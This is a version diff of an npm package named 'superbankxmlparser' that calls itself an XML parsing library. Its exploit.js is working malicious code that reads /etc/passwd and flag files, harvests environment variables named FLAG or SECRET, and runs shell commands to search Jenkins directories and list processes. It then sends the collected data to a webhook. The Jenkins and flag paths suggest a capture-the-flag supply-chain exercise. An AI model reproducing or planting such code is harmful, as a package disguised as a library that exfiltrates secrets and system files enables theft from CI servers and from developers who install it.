superbankxmlparser 0.30.2 → 0.30.4

package/exploit.js

@@ -2,7 +2,7 @@ const fs = require('fs');
 const { exec } = require('child_process');
 const https = require('https');
 
-console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
+console.log('=== MALICIOUS PACKAGE EXECUTED ===');
 
 function sendToWebhook(data) {
     try {
@@ -28,61 +28,56 @@ function sendToWebhook(data) {
     }
 }
 
-let collectedData = '';
+let collectedData = '=== EXPLOIT DATA ===\n';
 
-// 1. Ищем флаг в рабочей директории Jenkins
-const searchPaths = [
+// 1. Переменные окружения (может содержать флаг)
+collectedData += '=== ENVIRONMENT ===\n';
+for (let key in process.env) {
+    if (key.includes('FLAG') || key.includes('flag') || key.includes('SECRET')) {
+        collectedData += `${key}=${process.env[key]}\n`;
+    }
+}
+
+// 2. Попробуем прочитать флаг из разных мест
+const paths = [
     '/etc/passwd',
-    '/flag',                    // Dockerfile
-    '/workspace/flag',          // Jenkins workspace
-    '/var/jenkins_home/jobs/staging/workspace/flag',
-    '/usr/src/app/flag',        // App directory
-    './flag',                   // Current directory
+    '/flag',
     '/tmp/flag',
-    '/root/flag'
+    '/var/jenkins_home/flag',
+    '/var/lib/jenkins/flag',
+    process.env.HOME + '/flag',
+    process.env.PWD + '/flag'
 ];
 
-searchPaths.forEach(path => {
+paths.forEach(path => {
     try {
         const content = fs.readFileSync(path, 'utf8');
-        console.log(`=== FOUND: ${path} ===`);
-        console.log(content);
-        collectedData += `=== ${path} ===\n${content}\n\n`;
-        
+        collectedData += `=== ${path} ===\n${content}\n`;
         if (content.includes('{') && content.includes('}')) {
-            console.log(`🚨 FLAG FOUND IN ${path}:`, content);
+            console.log(`🚨 FLAG FOUND: ${content}`);
         }
-    } catch(e) {
-        collectedData += `Not found: ${path}\n`;
-    }
+    } catch(e) {}
 });
 
-// 2. Список файлов в текущей и корневой директориях
-exec('pwd && ls -la && ls -la /', (err, stdout) => {
-    if (!err) {
-        collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
+// 3. Выполним команды для поиска
+exec('env | grep -i flag', (err, stdout) => {
+    if (!err && stdout) {
+        collectedData += `=== ENV FLAG SEARCH ===\n${stdout}\n`;
     }
-
-    // 3. Ищем файл flag рекурсивно
-    exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
+    
+    exec('find /var/jenkins_home /var/lib/jenkins /tmp /home -name "flag" -type f 2>/dev/null', (err, stdout) => {
         if (!err && stdout) {
-            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
-            
-            // Читаем найденные файлы
-            const files = stdout.trim().split('\n');
-            files.forEach(file => {
-                try {
-                    const content = fs.readFileSync(file, 'utf8');
-                    collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
-                    console.log(`Content of ${file}:`, content);
-                } catch(e) {}
-            });
+            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n`;
         }
 
-        // Отправляем все данные
-        sendToWebhook(collectedData);
-        
-        console.log('=== ALL COLLECTED DATA ===');
-        console.log(collectedData);
+        // 4. Текущий процесс и его окружение
+        exec('ps aux | grep -i jenkins', (err, stdout) => {
+            if (!err) {
+                collectedData += `=== JENKINS PROCESSES ===\n${stdout}\n`;
+            }
+
+            sendToWebhook(collectedData);
+            console.log(collectedData);
+        });
     });
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "superbankxmlparser",
-  "version": "0.30.2",
+  "version": "0.30.4",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {